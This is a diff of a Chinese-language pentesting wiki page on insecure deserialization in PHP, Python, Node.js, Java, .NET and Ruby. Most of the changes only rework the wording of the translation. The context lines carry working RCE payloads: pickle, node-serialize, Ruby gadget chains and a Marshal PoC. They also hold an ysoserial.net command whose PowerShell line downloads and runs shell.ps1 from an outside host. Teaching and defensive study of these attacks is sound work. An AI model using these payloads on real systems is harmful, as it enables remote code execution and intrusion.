如果你发现一个 LFI 只是读取文件而不执行其中的 PHP 代码,例如使用像 _**file_get_contents(), fopen(), file() 或 file_exists(), md5_file(), filemtime() 或 filesize()**_**。** 你可以尝试滥用在使用 **phar** 协议时 **读取** **文件** 时发生的 **反序列化**。\
|
||||
有关更多信息,请阅读以下帖子:
|
||||
|
||||
{{#ref}}
|
||||
@ -187,7 +187,7 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
|
||||
### **Pickle**
|
||||
|
||||
当对象被反序列化时,函数 \_\_\_reduce\_\_\_ 将被执行。\
|
||||
当被利用时,服务器可能会返回一个错误。
|
||||
当被利用时,服务器可能会返回错误。
|
||||
```python
|
||||
import pickle, os, base64
|
||||
class P(object):
|
||||
@ -197,7 +197,7 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
在检查绕过技术之前,如果您正在运行 python3,请尝试使用 `print(base64.b64encode(pickle.dumps(P(),2)))` 生成与 python2 兼容的对象。
|
||||
|
||||
有关从 **pickle jails** 中逃逸的更多信息,请查看:
|
||||
有关从 **pickle jails** 逃逸的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -285,7 +285,7 @@ console.log("Serialized: \n" + payload_serialized)
|
||||
|
||||
正如您在最后一段代码中看到的,**如果找到该标志**,则使用 `eval` 来反序列化函数,因此基本上**用户输入被用于 `eval` 函数内部**。
|
||||
|
||||
然而,**仅仅序列化**一个函数**并不会执行它**,因为在我们的示例中需要某部分代码**调用 `y.rce`**,这非常**不可能**。\
|
||||
然而,**仅仅序列化**一个函数**不会执行它**,因为在我们的示例中需要某部分代码**调用 `y.rce`**,这非常**不可能**。\
|
||||
无论如何,您可以**修改序列化对象**,**添加一些括号**,以便在对象被反序列化时自动执行序列化的函数。\
|
||||
在下一段代码中**注意最后的括号**以及 `unserialize` 函数将如何自动执行代码:
|
||||
```javascript
|
||||
@ -295,18 +295,18 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
||||
}
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
如前所述,该库将在`_$$ND_FUNC$$_`之后获取代码并将**执行它**,使用`eval`。因此,为了**自动执行代码**,您可以**删除函数创建**部分和最后一个括号,并**仅执行一个 JS 单行代码**,如下例所示:
|
||||
如前所述,该库将在`_$$ND_FUNC$$_`之后获取代码并将**执行它**,使用`eval`。因此,为了**自动执行代码**,您可以**删除函数创建**部分和最后一个括号,并**仅执行一个JS单行代码**,如下例所示:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test =
|
||||
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
您可以在[**这里找到**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **有关如何利用此漏洞的更多信息**。
|
||||
您可以在[**这里找到**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **更多信息**,了解如何利用此漏洞。
|
||||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
**funcster** 的一个显著特点是 **标准内置对象** 的不可访问性;它们超出了可访问范围。此限制阻止了尝试在内置对象上调用方法的代码的执行,当使用 `console.log()` 或 `require(something)` 等命令时,会导致 `"ReferenceError: console is not defined"` 等异常。
|
||||
**funcster** 的一个显著特点是 **标准内置对象** 的不可访问性;它们超出了可访问范围。此限制阻止了尝试在内置对象上调用方法的代码执行,当使用 `console.log()` 或 `require(something)` 等命令时,会导致类似于 `"ReferenceError: console is not defined"` 的异常。
|
||||
|
||||
尽管有此限制,但通过特定方法可以恢复对全局上下文的完全访问,包括所有标准内置对象。通过直接利用全局上下文,可以绕过此限制。例如,可以使用以下代码片段重新建立访问:
|
||||
```javascript
|
||||
@ -334,7 +334,7 @@ funcster.deepDeserialize(desertest3)
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
**serialize-javascript** 包专门用于序列化目的,缺乏任何内置的反序列化功能。用户需自行实现反序列化的方法。官方示例建议直接使用 `eval` 来反序列化序列化的数据:
|
||||
**serialize-javascript** 包专门用于序列化目的,缺乏任何内置的反序列化功能。用户需自行实现反序列化的方法。官方示例建议直接使用 `eval` 来反序列化序列化数据:
|
||||
```javascript
|
||||
function deserialize(serializedJavascript) {
|
||||
return eval("(" + serializedJavascript + ")")
|
||||
@ -354,9 +354,9 @@ var test =
|
||||
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||||
deserialize(test)
|
||||
```
|
||||
**有关更多信息,请阅读此来源**[ **source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**。**
|
||||
**有关更多信息,请阅读此来源**[ **更多信息请阅读此来源**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### Cryo library
|
||||
### Cryo 库
|
||||
|
||||
在以下页面中,您可以找到有关如何滥用此库以执行任意命令的信息:
|
||||
|
||||
@ -365,16 +365,16 @@ deserialize(test)
|
||||
|
||||
## Java - HTTP
|
||||
|
||||
在Java中,**反序列化回调在反序列化过程中执行**。攻击者可以利用恶意有效负载触发这些回调,从而导致潜在的有害操作执行。
|
||||
在 Java 中,**反序列化回调在反序列化过程中执行**。攻击者可以利用这一执行过程,通过构造恶意有效负载来触发这些回调,从而导致潜在的有害操作执行。
|
||||
|
||||
### Fingerprints
|
||||
### 指纹
|
||||
|
||||
#### White Box
|
||||
#### 白盒
|
||||
|
||||
要识别代码库中的潜在序列化漏洞,请搜索:
|
||||
要识别代码库中潜在的序列化漏洞,请搜索:
|
||||
|
||||
- 实现了 `Serializable` 接口的类。
|
||||
- 使用 `java.io.ObjectInputStream`、`readObject`、`readUnshare` 函数。
|
||||
- 使用 `java.io.ObjectInputStream`、`readObject`、`readUnshared` 函数。
|
||||
|
||||
特别注意:
|
||||
|
||||
@ -385,16 +385,16 @@ deserialize(test)
|
||||
- `ObjectInputStream.readUnshared`。
|
||||
- 一般使用 `Serializable`。
|
||||
|
||||
#### Black Box
|
||||
#### 黑盒
|
||||
|
||||
对于黑盒测试,寻找特定的 **签名或“魔法字节”**,以表示来自 `ObjectInputStream` 的 Java 序列化对象:
|
||||
对于黑盒测试,寻找特定的 **签名或“魔法字节”**,以表示 java 序列化对象(源自 `ObjectInputStream`):
|
||||
|
||||
- 十六进制模式:`AC ED 00 05`。
|
||||
- Base64 模式:`rO0`。
|
||||
- HTTP 响应头中 `Content-type` 设置为 `application/x-java-serialized-object`。
|
||||
- 表示先前压缩的十六进制模式:`1F 8B 08 00`。
|
||||
- 表示先前压缩的 Base64 模式:`H4sIA`。
|
||||
- 扩展名为 `.faces` 的 Web 文件和 `faces.ViewState` 参数。在 Web 应用程序中发现这些模式应提示进行详细检查,如在 [关于 Java JSF ViewState 反序列化的帖子](java-jsf-viewstate-.faces-deserialization.md) 中所述。
|
||||
- 扩展名为 `.faces` 的 Web 文件和 `faces.ViewState` 参数。在 Web 应用程序中发现这些模式应提示进行详细检查,如 [关于 Java JSF ViewState 反序列化的帖子](java-jsf-viewstate-.faces-deserialization.md)。
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
@ -423,7 +423,7 @@ GadgetProbe专注于**`ObjectInputStream`反序列化**。
|
||||
[**阅读此文以了解更多关于Java Deserialization Scanner的信息。**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner专注于**`ObjectInputStream`**反序列化。
|
||||
|
||||
您还可以使用[**Freddy**](https://github.com/nccgroup/freddy)来**检测Burp中的反序列化**漏洞。此插件将检测**不仅是`ObjectInputStream`**相关的漏洞,还**包括**来自**Json**和**Yml**反序列化库的漏洞。在主动模式下,它将尝试使用sleep或DNS有效载荷确认这些漏洞。\
|
||||
您还可以使用[**Freddy**](https://github.com/nccgroup/freddy)来**检测Burp中的反序列化**漏洞。此插件将检测**不仅是`ObjectInputStream`**相关的漏洞,还**包括**来自**Json**和**Yml**反序列化库的漏洞。在主动模式下,它将尝试使用延迟或DNS有效载荷来确认它们。\
|
||||
[**您可以在这里找到有关Freddy的更多信息。**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**序列化测试**
|
||||
@ -534,22 +534,22 @@ mvn clean package -DskipTests
|
||||
```
|
||||
#### FastJSON
|
||||
|
||||
阅读更多关于这个Java JSON库的信息:[https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||
阅读更多关于这个Java JSON库的信息: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||
|
||||
### Labs
|
||||
|
||||
- 如果你想测试一些ysoserial有效载荷,你可以**运行这个webapp**:[https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- 如果你想测试一些ysoserial有效载荷,你可以**运行这个web应用**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||
|
||||
### Why
|
||||
|
||||
Java在各种目的上使用了大量的序列化,例如:
|
||||
|
||||
- **HTTP请求**:序列化广泛用于参数、ViewState、cookies等的管理。
|
||||
- **RMI (远程方法调用)**:Java RMI协议完全依赖于序列化,是Java应用程序远程通信的基石。
|
||||
- **RMI over HTTP**:这种方法通常被Java基础的厚客户端web应用程序使用,利用序列化进行所有对象通信。
|
||||
- **JMX (Java管理扩展)**:JMX利用序列化在网络上传输对象。
|
||||
- **自定义协议**:在Java中,标准做法涉及传输原始Java对象,这将在即将到来的利用示例中演示。
|
||||
- **HTTP请求**: 序列化广泛用于参数、ViewState、cookies等的管理。
|
||||
- **RMI (远程方法调用)**: Java RMI协议完全依赖于序列化,是Java应用程序远程通信的基石。
|
||||
- **RMI over HTTP**: 这种方法通常被基于Java的厚客户端web应用使用,利用序列化进行所有对象通信。
|
||||
- **JMX (Java管理扩展)**: JMX利用序列化在网络上传输对象。
|
||||
- **自定义协议**: 在Java中,标准做法涉及传输原始Java对象,这将在即将到来的漏洞示例中演示。
|
||||
|
||||
### Prevention
|
||||
|
||||
@ -564,7 +564,7 @@ private transient double margin; // declared transient
|
||||
```
|
||||
#### 避免序列化需要实现 Serializable 的类
|
||||
|
||||
在某些 **对象必须实现 `Serializable`** 接口的场景中,由于类层次结构,存在无意反序列化的风险。为防止这种情况,确保这些对象不可反序列化,通过定义一个始终抛出异常的 `final` `readObject()` 方法,如下所示:
|
||||
在某些 **对象必须实现 `Serializable`** 接口的场景中,由于类层次结构,存在无意反序列化的风险。为防止这种情况,确保这些对象是不可反序列化的,通过定义一个始终抛出异常的 `final` `readObject()` 方法,如下所示:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
@ -598,11 +598,11 @@ return super.resolveClass(desc);
|
||||
}
|
||||
}
|
||||
```
|
||||
**使用 Java Agent 进行安全增强** 提供了一种在无法修改代码时的备用解决方案。此方法主要用于 **黑名单有害类**,使用 JVM 参数:
|
||||
**使用 Java Agent 增强安全性** 提供了一种在无法修改代码时的备用解决方案。此方法主要适用于 **黑名单有害类**,使用 JVM 参数:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
它提供了一种动态保护反序列化的方法,理想用于立即代码更改不切实际的环境。
|
||||
它提供了一种动态保护反序列化的方法,适用于在立即代码更改不切实际的环境中。
|
||||
|
||||
查看 [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) 中的示例
|
||||
|
||||
@ -662,7 +662,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
### 利用
|
||||
|
||||
所以,基本上有一**堆服务以危险的方式使用JMS**。因此,如果您有**足够的权限**向这些服务发送消息(通常您需要有效的凭据),您将能够发送**恶意对象序列化,这些对象将被消费者/订阅者反序列化**。\
|
||||
所以,基本上有**一堆服务以危险的方式使用JMS**。因此,如果您有**足够的权限**向这些服务发送消息(通常您需要有效的凭据),您将能够发送**恶意对象序列化,这些对象将被消费者/订阅者反序列化**。\
|
||||
这意味着在此利用中,所有**将使用该消息的客户端将被感染**。
|
||||
|
||||
您应该记住,即使服务存在漏洞(因为它不安全地反序列化用户输入),您仍然需要找到有效的gadget来利用该漏洞。
|
||||
@ -678,7 +678,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## .Net
|
||||
|
||||
在.Net的上下文中,反序列化利用的操作方式类似于Java,其中gadget被利用在反序列化对象时运行特定代码。
|
||||
在.Net的上下文中,反序列化利用以类似于Java的方式操作,其中gadget被利用在反序列化对象时运行特定代码。
|
||||
|
||||
### 指纹
|
||||
|
||||
@ -705,7 +705,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
- **`--gadget`**用于指示要滥用的gadget(指示在反序列化期间将被滥用以执行命令的类/函数)。
|
||||
- **`--formatter`**,用于指示序列化利用的方法(您需要知道后端使用哪个库来反序列化有效负载,并使用相同的库进行序列化)
|
||||
- **`--output`**用于指示您是否希望以**原始**或**base64**编码的形式获得利用。_请注意,**ysoserial.net**将使用**UTF-16LE**(Windows上默认使用的编码)对有效负载进行**编码**,因此如果您从Linux控制台获取原始数据并仅对其进行编码,可能会遇到一些**编码兼容性问题**,这将导致利用无法正常工作(在HTB JSON框中,有效负载在UTF-16LE和ASCII中均有效,但这并不意味着它总是有效)。_
|
||||
- **`--output`**用于指示您是否希望以**原始**或**base64**编码的形式获得利用。_请注意,**ysoserial.net**将使用**UTF-16LE**(Windows默认使用的编码)对有效负载进行**编码**,因此如果您获取原始数据并仅从Linux控制台进行编码,可能会遇到一些**编码兼容性问题**,这将阻止利用正常工作(在HTB JSON框中,有效负载在UTF-16LE和ASCII中均有效,但这并不意味着它总是有效)。_
|
||||
- **`--plugin`**ysoserial.net支持插件以制作**特定框架的利用**,如ViewState
|
||||
|
||||
#### 更多ysoserial.net参数
|
||||
@ -733,7 +733,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||
```
|
||||
**ysoserial.net** 还有一个 **非常有趣的参数**,可以帮助更好地理解每个漏洞是如何工作的: `--test`\
|
||||
如果你指定这个参数,**ysoserial.net** 将 **在本地尝试** 该 **漏洞**,这样你可以测试你的有效载荷是否能正确工作。\
|
||||
如果你指定这个参数,**ysoserial.net** 将 **在本地尝试** 该 **漏洞,** 这样你可以测试你的有效载荷是否能正确工作。\
|
||||
这个参数很有帮助,因为如果你查看代码,你会发现像以下这样的代码块(来自 [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
@ -759,12 +759,12 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
return obj;
|
||||
}
|
||||
```
|
||||
在**之前的代码中存在可被利用的漏洞**。因此,如果您在 .Net 应用程序中发现类似的内容,这意味着该应用程序可能也存在漏洞。\
|
||||
因此,**`--test`** 参数使我们能够了解**哪些代码块易受反序列化漏洞的影响**,该漏洞**ysoserial.net**可以创建。
|
||||
在**之前的代码中存在可被利用的漏洞**。因此,如果你在 .Net 应用程序中发现类似的内容,这意味着该应用程序可能也存在漏洞。\
|
||||
因此,**`--test`** 参数使我们能够理解**哪些代码块易受** **ysoserial.net** 创建的反序列化漏洞的影响。
|
||||
|
||||
### ViewState
|
||||
|
||||
查看[这篇关于**如何尝试利用 .Net 的 \_\_ViewState 参数**](exploiting-__viewstate-parameter.md)来**执行任意代码。** 如果您**已经知道受害者机器使用的秘密**,[**阅读这篇文章以了解如何执行代码**](exploiting-__viewstate-knowing-the-secret.md)**。**
|
||||
查看[这篇关于**如何尝试利用 .Net 的 \_\_ViewState 参数**](exploiting-__viewstate-parameter.md)来**执行任意代码。** 如果你**已经知道受害者机器使用的秘密**,[**阅读这篇文章以了解如何执行代码**](exploiting-__viewstate-knowing-the-secret.md)**。**
|
||||
|
||||
### 预防
|
||||
|
||||
@ -798,7 +798,7 @@ return obj;
|
||||
- `config/secrets.yml`
|
||||
- `/proc/self/environ`
|
||||
|
||||
**Ruby 2.X 通用反序列化到 RCE gadget 链(更多信息见** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||
**Ruby 2.X 通用反序列化到 RCE gadget 链(更多信息见** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||
```ruby
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
@ -873,7 +873,7 @@ puts Base64.encode64(payload)
|
||||
|
||||
### Ruby .send() 方法
|
||||
|
||||
正如在 [**此漏洞报告**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) 中所解释的,如果某些用户未经过滤的输入到达 ruby 对象的 `.send()` 方法,该方法允许 **调用对象的任何其他方法**,并带有任何参数。
|
||||
正如在 [**此漏洞报告**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) 中所解释的,如果某些用户未经过滤的输入到达 ruby 对象的 `.send()` 方法,该方法允许 **调用对象的任何其他方法**,并传递任何参数。
|
||||
|
||||
例如,调用 eval 然后将 ruby 代码作为第二个参数将允许执行任意代码:
|
||||
```ruby
|
||||
@ -942,7 +942,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
在尝试滥用 Oj 的情况下,可以找到一个小工具类,它在其 `hash` 函数中会调用 `to_s`,而 `to_s` 会调用 spec,spec 会调用 fetch_path,这使得它能够获取一个随机 URL,从而很好地检测这些未清理的反序列化漏洞。
|
||||
在尝试滥用 Oj 的情况下,可以找到一个小工具类,它在其 `hash` 函数内部会调用 `to_s`,而 `to_s` 会调用 spec,进而调用 fetch_path,这使得它能够获取一个随机 URL,从而很好地检测这些未清理的反序列化漏洞。
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
@ -990,11 +990,11 @@ Rails应用程序的文件上传功能允许攻击者任意写入文件。尽管
|
||||
|
||||
- 理解Bootsnap的缓存机制
|
||||
|
||||
Bootsnap通过缓存编译的Ruby代码、YAML和JSON文件来加速Rails启动时间。它存储包含缓存键头的缓存文件(包括Ruby版本、文件大小、mtime、编译选项等字段),后面跟着编译的代码。此头用于在应用程序启动时验证缓存。
|
||||
Bootsnap通过缓存编译的Ruby代码、YAML和JSON文件来加快Rails启动时间。它存储包含缓存键头的缓存文件(包括Ruby版本、文件大小、mtime、编译选项等字段),后面跟着编译的代码。此头用于在应用程序启动时验证缓存。
|
||||
|
||||
- 收集文件元数据
|
||||
|
||||
攻击者首先选择一个在Rails启动期间可能被加载的目标文件(例如,Ruby标准库中的set.rb)。通过在容器内执行Ruby代码,他们提取关键元数据(如RUBY_VERSION、RUBY_REVISION、大小、mtime和compile_option)。这些数据对于构造有效的缓存键至关重要。
|
||||
攻击者首先选择一个在Rails启动期间可能加载的目标文件(例如,Ruby标准库中的set.rb)。通过在容器内执行Ruby代码,他们提取关键元数据(如RUBY_VERSION、RUBY_REVISION、大小、mtime和compile_option)。这些数据对于构造有效的缓存键至关重要。
|
||||
|
||||
- 计算缓存文件路径
|
||||
|
||||
@ -1011,7 +1011,7 @@ Bootsnap通过缓存编译的Ruby代码、YAML和JSON文件来加速Rails启动
|
||||
该有效载荷被编译成二进制Ruby代码,并与精心构造的缓存键头连接在一起(使用先前收集的元数据和Bootsnap的正确版本号)。
|
||||
|
||||
- 覆盖并触发执行
|
||||
利用任意文件写入漏洞,攻击者将构造的缓存文件写入计算的位置。接下来,他们触发服务器重启(通过写入tmp/restart.txt,Puma会监控该文件)。在重启期间,当Rails需要目标文件时,恶意缓存文件被加载,导致远程代码执行(RCE)。
|
||||
利用任意文件写入漏洞,攻击者将构造的缓存文件写入计算的位置。接下来,他们触发服务器重启(通过写入tmp/restart.txt,Puma会监控该文件)。在重启期间,当Rails需要目标文件时,恶意缓存文件被加载,从而导致远程代码执行(RCE)。
|
||||
|
||||
### Ruby Marshal exploitation in practice (updated)
|
||||
|
||||
@ -1036,7 +1036,7 @@ end
|
||||
```
|
||||
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
|
||||
```
|
||||
在真实应用中的出现:
|
||||
在真实应用中的表现:
|
||||
- Rails 缓存存储和会话存储历史上使用 Marshal
|
||||
- 后台作业后端和文件支持的对象存储
|
||||
- 任何自定义的二进制对象块的持久化或传输
|
||||
@ -1056,7 +1056,7 @@ end
|
||||
- ZDI – 通过 Ruby on Rails Active Storage 不安全反序列化进行 RCE:https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
|
||||
- Include Security – 在 Rubyland 中发现小工具链:https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
|
||||
- GitHub Security Lab – Ruby 不安全反序列化(查询帮助):https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
|
||||
- GitHub Security Lab – PoCs 仓库:https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
|
||||
- GitHub Security Lab – PoC 仓库:https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
|
||||
- Doyensec PR – Ruby 3.4 小工具:https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
|
||||
- Luke Jahnke – Ruby 3.4 通用链:https://nastystereo.com/security/ruby-3-4-deserialization.html
|
||||
- Luke Jahnke – Gem::SafeMarshal 逃逸:https://nastystereo.com/security/ruby-safe-marshal-escape.html
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user